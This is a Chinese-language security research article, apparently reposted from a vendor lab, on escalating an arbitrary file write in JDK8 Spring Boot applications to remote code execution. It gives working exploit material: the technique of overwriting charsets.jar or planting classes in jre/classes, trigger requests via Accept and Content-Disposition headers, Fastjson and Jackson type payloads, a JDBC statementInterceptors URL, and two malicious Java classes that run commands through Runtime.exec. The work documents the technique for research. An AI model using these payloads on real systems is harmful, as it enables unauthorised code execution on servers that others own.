在对某产品进行挖掘时,发现了一个任意文件写的漏洞口,项目是以jar包的形式来运行的,在这种场景下除了能够覆盖掉服务器上的文件之外,似乎无法做其他操作。
尝试过计划任务无果,看到后台有一处重启功能,由于项目是由多个jar包共同运作,遂想到是否可以通过覆盖服务器上某个jar包,通过重启功能,在启动时加载jar包完成getshell的操作,不过这种方式虽然可行,但只能在目标机器上操作一次,破坏性较大。
landgrey师傅对此种场景早就进行过探索Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索,我是通过文内给出的方案解决了问题,在搜集资料的同时也发现了三梦师傅的方案:JDK8任意文件写场景下的SpringBoot RCE和JDK8任意文件写场景下的Fastjson RCE,但由于目标服务器上不存在jre/classes目录,且不具有创建权限,同时也由于问题被解决,当时并没有做进一步了解,最近又翻出来这篇文章进行学习,本文仅是对两者的方案做归纳。
利用Class.forName默认情况下是会去执行类中static块内的内容,例如:
Class.forName(“Evil”,true,classLoader);
在排查java程序的冲突时,通常通过jvm参数-XX:+TraceClassLoading来打印出过程,随意执行一个程序并且带上该参数即可以观察到类似如下的类装载的过程:
Loaded com.sun.javafx.logging.JFRLogger$2 from file:/Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk/Contents/Home/jre/lib/ext/jfxrt.jar]
[Opened /Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk/Contents/Home/jre/lib/jfr.jar]
[Loaded com.oracle.jrockit.jfr.EventInfo from /Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk/Contents/Home/jre/lib/jfr.jar]
[Loaded com.oracle.jrockit.jfr.EventToken from /Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk/Contents/Home/jre/lib/jfr.jar]
rt.jar
jfr.jar
jsse.jar
jce.jar
例如用到java.io.IOException则是从jre/lib/rt.jar中装载,通过覆盖以上任意四个jar,从TraceClassLoading中选取一个会被装载且初始化的类,搭配开头提到的重启场景即可完成rce,但这一操作存在的问题即是容易影响到服务的正常运行。
根据jdk8下的类加载机制可推断,在加载时按顺序分别从引导类加载器,扩展类加载器,应用程序类加载器及自定义类加载器,对应的Bootstrap和Ext ClassLoader分别为引导类和扩展类,在本地测试时可以通过System.getProperty(“sun.boot.class.path”)获取到引导类加载路径下的文件、目录如下(mac下):
Home/jre/lib/resources.jar
Home/jre/lib/rt.jar
Home/jre/lib/sunrsasign.jar
Home/jre/lib/jsse.jar
Home/jre/lib/jce.jar
Home/jre/lib/charsets.jar
Home/jre/lib/jfr.jar
Home/jre/classes
/Users/xxx/Library/Java/Extensions
/Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk/Contents/Home/jre/lib/ext
/Library/Java/Extensions
/Network/Library/Java/Extensions
/System/Library/Java/Extensions
/usr/lib/java
通过覆盖以上的类搭配Class.forName都可以完成利用,以charsets为例。
在类加载一节可以见得在启动java程序时不会opened charsets.jar,只有在该jar包内的某个类被调用时才会opened,例如:
public class Test {
public static void main(String[] args) {
try {
Class.forName(“sun.nio.cs.ext.GBK”);
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
//javac Test.java
//jar -cvf Test.jar Test.class
//java -XX:+TraceClassLoading -cp Test.jar Test
能够看到在程序结束前从charsets.jar中装载了sun.nio.cs.ext.GBK类,如图1:
现在的思路就是寻找一个触发点,针对几种场景有不同的触发点。
GET / HTTP/1.1
Accept: text/html;charset=GBK
在org.springframework.web.accept.HeaderContentNegotiationStrategy#resolveMediaTypes处解析accept头,如图2:
主要是在org.springframework.util.MimeType#checkParameters处,如图3:
Charset.forName比较关键,在加载字符编码时会尝试从缓存中读取,否则依次从一下三个provider中加载:
standardProvider JDK 定义的标准格式,如 UTF-8,UTF-16
extendedProvider JDK 扩展的标准格式
CharsetProvider SPI,通过 java.nio.charset.spi.CharsetProvider 自定义的格式。
从lookupExtendedCharset进入,最后调用Class.forName,如图4:
触发点主要在于Charset.forName,简单搜索一下就可以发现还有类似的满足条件的点,例如org.springframework.http.ContentDisposition#parse,图5:
Content-Type: multipart/form-data; boundary=a
Content-Length: 83
–a
Content-Disposition: form-data; name=”file”; filename*=”GBK’test'”
xxx
–a
{
“x”:{
“@type”:”java.nio.charset.Charset”,
“val”:”IBM33722″
}
}
1.2.76由于java.nio.charset.Charset在白名单中,可直接绕autoType,最后调用到与spring同样的位置。
开启enableDefaultTyping情况下:
[“sun.nio.cs.ext.IBM33722”,{“x”:”y”}]
GET /jdbc?url=jdbc:mysql://127.0.0.1:3306/test?statementInterceptors=sun.nio.cs.ext.IBM33722
往ext写入需要将拓展的classes打包为jar,通过ExtClassLoader去加载。利用场景需要如文章开头所述,在应用中有重启功能时才能够被加载。
jre/classes目录默认不存在,利用条件有一点就是需要能够创建目录,往jre/classes写入的类与往classpath写入一般,可直接被加载,不同于ext,该目录下写入的为class后缀的文件即可。
参考三梦师傅的做法,在fastjson小于1.2.68下,往jre/classes下塞入一个实现了java.lang.AutoCloseable的恶意类(无需打包为jar,为class即可)。
import java.io.IOException;
/**
* @author threedr3am
*/
public class Evil implements AutoCloseable {
static {
try {
Runtime.getRuntime().exec(“/System/Applications/Calculator.app/Contents/MacOS/Calculator”);
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
同样的只能触发一次,下次需要换写文件名,效果如图6。
在上文提到Charset.forName中有三个provider:
standardProvider JDK 定义的标准格式,如 UTF-8,UTF-16
extendedProvider JDK 扩展的标准格式
CharsetProvider SPI,通过 java.nio.charset.spi.CharsetProvider 自定义的格式。
在java.nio.charset.Charset#lookupViaProviders:
跟入java.nio.charset.Charset#providers:
对于charset的SPI的利用点在于第三个provider,通过编写CharsetProvider的实现类,利用SPI机制,完成利用,同样的选择将spi和class放入jre/classes中。
SPI的加载规则是根据jar包中META-INF下services下的文件来查找对应实现类的。在META-INF下services下会定义一个文件,其文件名是接口类的全类型,而文件的内容是实现类的全类名。[6]
对应到这一个场景是利用java.nio.charset.spi.CharsetProvider接口,位于META-INF/services目录下,文件内容为加载的实现了java.nio.charset.spi.CharsetProvider的恶意类。(代码源自开头中三梦师傅的文章)
import java.io.IOException;
import java.nio.charset.Charset;
import java.util.HashSet;
import java.util.Iterator;
/**
* @author threedr3am
*/
public class Evil extends java.nio.charset.spi.CharsetProvider {
@Override
public Iterator<Charset> charsets() {
return new HashSet<Charset>().iterator();
}
@Override
public Charset charsetForName(String charsetName) {
//因为Charset会被缓存,导致同样的charsetName只能执行一次,所以,我们可以利用前缀触发,后面的内容不断变化就行了,甚至可以把命令通过charsetName传入
if (charsetName.startsWith(“Evil”)) {
try {
Runtime.getRuntime().exec(“/System/Applications/Calculator.app/Contents/MacOS/Calculator”);
} catch (IOException e) {
e.printStackTrace();
}
}
return Charset.forName(“UTF-8”);
}
}
笔者在挖掘漏洞时是基于对服务器可控的情况下,可直接看到服务器上的JDK目录,所以在实际场景中可能需要对jdk目录做爆破,LandGrey师傅制作了对应的环境,同时也对目录做了收集[2].
在上传时一般也无法创建目录,同时classes目录通常需要用户自行创建,所以classes和spi的利用方式可能相对于直接覆盖charset.jar的方式来说实用性较差,但直接覆盖charset.jar确实存在有破坏目标环境的可能性。
[1]https://landgrey.me/blog/22/
[2]https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks
[3]https://threedr3am.github.io/2021/04/14/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84SpringBoot%20RCE/
[4]https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/
[5]https://www.cnblogs.com/Ye-ye/p/12748365.html
[6]https://blog.csdn.net/weixin_30568317/article/details/114965999
原文始发于微信公众号(山石网科安全技术研究院):JDK8从任意文件写到远程命令执行